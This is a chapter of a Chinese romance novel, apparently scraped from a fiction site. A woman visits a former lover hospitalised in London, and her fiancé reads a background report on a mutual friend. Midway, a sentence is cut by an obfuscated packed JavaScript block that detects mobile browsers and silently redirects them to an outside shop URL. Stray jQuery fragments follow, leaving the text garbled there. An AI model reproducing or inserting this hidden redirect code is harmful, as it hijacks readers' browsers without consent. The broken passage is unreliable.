姜好询问前台后，乘坐电梯来到单人病房。
透过门上的窗户，确认床上那个侧躺的背影是程泛声无疑后，才轻轻推门进入。
病房里静悄悄的，不见李南恩，程泛声似乎睡着了，面朝右侧，左手枕在脑下，右手越过身体搭在床边，上面挂着点滴，滴答滴答，在寂静中格外清晰。
姜好没有惊动他，轻手轻脚地将包放在床边的椅子上。
她注意到他的脸色，似乎比昨夜更加苍白，眉心微蹙，似乎陷在一个噩梦里。
几乎是出于医者的本能，她伸出手，手心轻轻贴上了他的额头。
指尖传来的温度正常，姜好这才惊觉自己的举动有多越界。
想要抽回手的瞬间，手腕却猝不及防地被他原本枕在脑下的左手握住，他没有用力，只是松松地圈着，将她的手从额前推开。
“别来烦我。”他的声音冷冷的，带着被惊扰的不快，眼睛仍未睁开。
几秒钟后，程泛声的手无意识地松开。
姜好讪讪收回手，退到窗边而立。
约莫十多分钟后李南恩才回来，见程泛声睡着，他压低了声音：“我刚去补办手续。东西拿来了吗？”
姜好用目光示意了一下椅子上的包。
李南恩将动作放得极轻，纵是如此，一抬头，发现程泛声已经醒了，靠在床头。
目光静静地落在窗边的姜好身上。
他沙哑的声音几乎融在空气里：“手这么凉，你穿太少了，英国比国内凉些。”
姜好低头看着自己身上的衬衫裙。
车接车送，她几乎很少裸露在室外的空气里，对温度的感知能力有所降低。
等等——手？
她忽然反应过来，刚才他半梦半醒间那句“别来烦我”，恐怕是把她当成了李南恩。现在看到她站在这里，才意识到是她，就连她手冰这样的细枝末节也忆起。
李南恩八卦地看着他俩：“嗯？”
姜好慌忙解释：“他脸色这么差，我还以为他发烧了，就探了下温度。”
李南恩将包里的东西取出来，确认需要的东西都带来，感激地说：“谢了好好，麻烦你跑这一趟。”
“没关系，反正我也没有别的事要忙。”
李南恩又将底部的衣服一件件取出来，放到床上：“啊，你太贴心了，还带了衣服，这下我晚上不用跑一趟了。”
他给程泛声保留一丝体面，体贴将那叠内衣直接收进了床头柜。
李南恩又离开病房去缴费，病房里只剩下二人。
程泛声醒着，姜好便觉得坐立难安，仿佛站也不是，坐也不是，病房里陷入一种微妙的寂静，只剩下点滴声和两人清浅的呼吸。
姜好走到窗边，调整百叶窗的角度，挡住刺眼的午后阳光，房间里顿时暗了一度。
她这才猛然意识到自己的“自作主张”，怕他不喜欢，连忙解释一句：“太晒了。你要是想晒太阳，我再把窗拉开。”
“没事，就这样吧。”他的声音依然沙哑。
她转过身，发现他正看着自己。那目光并不锐利，很平和，却仿佛能穿透她所有强装的镇定。
接触的视线一触即分，姜好慌忙将目光放到输液管上：“滴速……会不会太快？要不要帮你调慢一点？”
“慌什么？”程泛声开口说话，骤然中止了她所有的慌乱，“你在慌什么？”
“嗯？好好，说话。”
这招果然有效，姜好瞬间被定在原地。
她也不知自己为何突然这么兵荒马乱。是因为那只小熊猫，还是那张泛黄的借阅证？
呼吸变得急促而浅短，整个人像被冷空气攫取。可奇怪的是，当他如此直白地戳破她的伪装后，那份没来由的慌张反而开始消退。
在一片混沌的清醒中，她抬起眼，迎上他的目光，与他静静地对视。
她自认为很了解程泛声，因为他曾在她面前毫无保留。
她了解他处理人际关系的法则：当他决定厌弃一个人时，会利落地将那个人从自己的世界里彻底清除，不留一丝痕迹。
就像当年，他毫不犹豫地卖掉了那块手表。
他应该是果决的、冷硬的、从不回望的。
那么，他怎么可能……保留她的借阅证，至今。
这毫无漏洞的逻辑与眼前的事实剧烈地冲撞着，几乎要将她剧烈的心跳湮灭。她望着他深不见底的眼眸，那里没有她需要的明确答案，只有一片沉静的深海，将她所有认知都搅得天翻地覆，引人沉溺。
“你在意的话，拿走就好了。”一阵沉默后，程泛声缓缓开口。
“什、什么？”
“你的借阅证。”
大脑瞬间一片空白。
你瞧，程泛声总是这样，对她，对身边一切，都洞察得太过彻底。他明明没有亲眼看见她发现借阅证时的震惊，却依旧可以察觉她内心每一丝波澜。
他总是这样。
不顾及她是否准备好了，就轻而易举地戳破那张窗户纸，留她一个人在骤然涌入的光亮中，无所适从。
一种完全被看穿后的羞恼让她选择了最笨拙的防御——否认。
“借阅证？我的借阅证？什么东西？”姜好放缓语速，让每一个字都清晰地落在两人之间冰冷的空气里，“我不知道你在说什么。”
程泛声见她装傻，也不再说什么，转过脸去，目光从她身上离开。
某些东西丢掉很容易，但有些习惯无法伴随着丢弃的动作而改变。
比如姜好离开后的很长一段时间里，他去图书馆，依然习惯性地拿着姜好的借阅证，再加上自己的，这样才能一次性借走他们共同想看的十本书。
直到学校系统更新，毕业生借书权限被统一注销。他的那张借阅证，他随手扔掉了，姜好的那张，他收进钱包夹层。
倘若此生再也不见，那么至少除了她留在他心上的那道深深的刻痕外，留下一些温暖的证物。
证明他们相爱过，并非他一个人的幻觉。
姜好忽然意识到，从她的二十二岁到二十六岁，从程泛声的二十六岁到三十岁，横亘的这段岁月，他和她之间分离的那些年，从来不是一片空白。
他一直带着过去的烙印，在没有她的时光里，独自走过，固执地留下了属于二人的痕迹。
李南恩进入病房，打破凝滞的寂静：“嗐，我回来了。刚顺带去食堂看了下，这里都是西餐呀！我可以解决，你的胃肯定受不了，清淡的菜就那些沙拉什么的，没什么营养。我拿了份菜单，你看看想吃什么？”
程泛声看了眼菜单，兴致缺缺地扭过头：“我才吃过，现在不饿。”
“那都是早上的事了，而且就吃了几片菜叶子，现在中午了。都住院了还任性，不饿也得吃点。”
这番话让姜好下意识地看了一眼手表——英国正午十二点，她立刻心算出，此刻的中国，是晚上八点。
这个时间，安知序应该已经忙完工作了。
“我出去打个电话。”
病房里的两人仍在为午餐争执，无人留意到她的离开。
姜好快步走到走廊尽头，拨通了安知序的号码。电话只响了两声便被接起。
“知序，”她的声音放柔，“吃晚饭了吗？”
“刚吃完。你呢？”
“我……吃过了。”她略过这个话题，切入正题，“你知道伦敦哪里有比较正宗的中餐馆，或者能外送清淡中餐的地方吗？”
安知序在伦敦长住过，他对这些一定很熟悉。
电话那头的他敏锐地捕捉到了关键词：“医院？你在医院？身体不舒服？”
“不是我。”姜好连忙解释，“是程泛声。他急性胃炎住院了，医院的餐食他不太习惯。”
窗外的阳光透过走廊的玻璃，在地面投下长长的光影。
电话里，安知序询问了医院名称后，告诉了姜好一家就在医院附近、过去他常光顾的能外送的餐厅。
姜好在软件上找到该餐厅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065186|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，却显示外送服务已关闭。
“是这样的，他们有时生意太好，就会关闭外送，就只能去店里买了。”安知序解释。
“好吧，那我让司机去一趟。”
“好好？”李南恩从病房出来，看来那场争执他占了上风，“你饿吗？我们一起去食堂吃点东西吧？顺便给泛声带份意面。”
姜好将电话从耳边拿开，摇了摇头：“我知道附近有一家中餐馆，我去买。南恩，我帮你也带一份，就不用去食堂了。”
-
安知序凝着暗下去的手机屏幕，心头滞闷。
她甚至没有多问一句他晚餐吃了什么，所有注意力都被电话那头的人占据了。
直到姜好的微信消息弹出，才打断了他的出神。
【姜好：[位置]】
【姜好：是这里吗？】
【安知序：嗯】
【姜好：好】
对话简洁得近乎公事公办，让他几乎错觉是在与自己的特助沟通。
再未等到她的只言片语，他点开姜好的朋友圈。
精装的朋友圈，然而姜好的人生也是精装的。
最近几条，是在飞机上拍摄的云海，以及落地后伦敦拍摄的希思罗机场的指示牌。
再上一条，是她坐在安以愿的那架白色钢琴前弹奏的侧影，桌上花瓶里插着水嫩嫩的粉色玫瑰。
再早一些，是她生日那天的记录。
九宫格中心，是一张与他的合照。
照片里她贴心地蹲下，巧妙地将镜头定格在两人上半身。若不仔细分辨，完全看不出被她衣角遮挡的轮椅框架。
【开心的生日(*^▽^*)】
她一直是一只色彩斑斓的小鸟，叼着色彩艳丽的卡纸塞入尾羽，努力将人生填充得丰满而热烈。
他放下手机，视线转向电脑。因久未操作，电脑已自动锁屏。他输入密码，先保存了正在审阅的文档，随后点开今天下午助理发来的文件。
收到时他已简单读过，但还未细看。
这是份关于李南恩的个人信息报告。
他确实毕业于南庆大学，是姜好的校友。但是，他读的是生物医学工程，和姜好不是同专业，甚至不是同院系，课程和社交圈几乎不会有重叠。
安知序又不是没有上过大学，一个人群非常密集的场所，人与人之间的关系却是最淡漠的。
若非刻意为之，不同院系、不同专业的两个人，很难产生深刻的交集。
而姜好，绝不是那种主动社交的人，她总是被动地习惯等待，等待别人的主动，或是某个不容错过的契机。
安知序在字里行间中找到了这个契机。
李南恩自医学院毕业后，其职业生涯的绝大部分时间，都在程泛声的团队中度过。从最初的科研项目，到后来团队孵化成为如今的“新愈”，他始终是其中的核心成员之一。
——李南恩是程泛声的人。
而这次与OEMF合作，是程泛声在主导推进，也是他坚持将姜好纳入项目。
是程泛声为他的旧日校友提供了与姜好必然重逢的契机。
那么很多年前的南庆医学院里，想必亦是如此。
作为直系学长的程泛声，想要创造交集太简单了。只要他主动将李南恩带到那个安静学妹面前。
而她，向来不懂得拒绝。
安知序回忆起那天在酒店的重逢。
李南恩看见她就瞬间失态，那般急切地邀请她独处，几乎要当场将她从他身边带走。
而姜好的眼神呢？
回避、躲闪、欲言又止……
实在也算不上清白。
一声声自然而亲昵的“南恩”。
她不是笨到忘记避嫌，而是习惯使然。深入骨髓的习惯，想改变，需时时提醒自己记得。
就像方才，他在电话里听见李南恩那声再自然不过的“好好”。
安知序花三分钟做出一个决定：
原谅好好。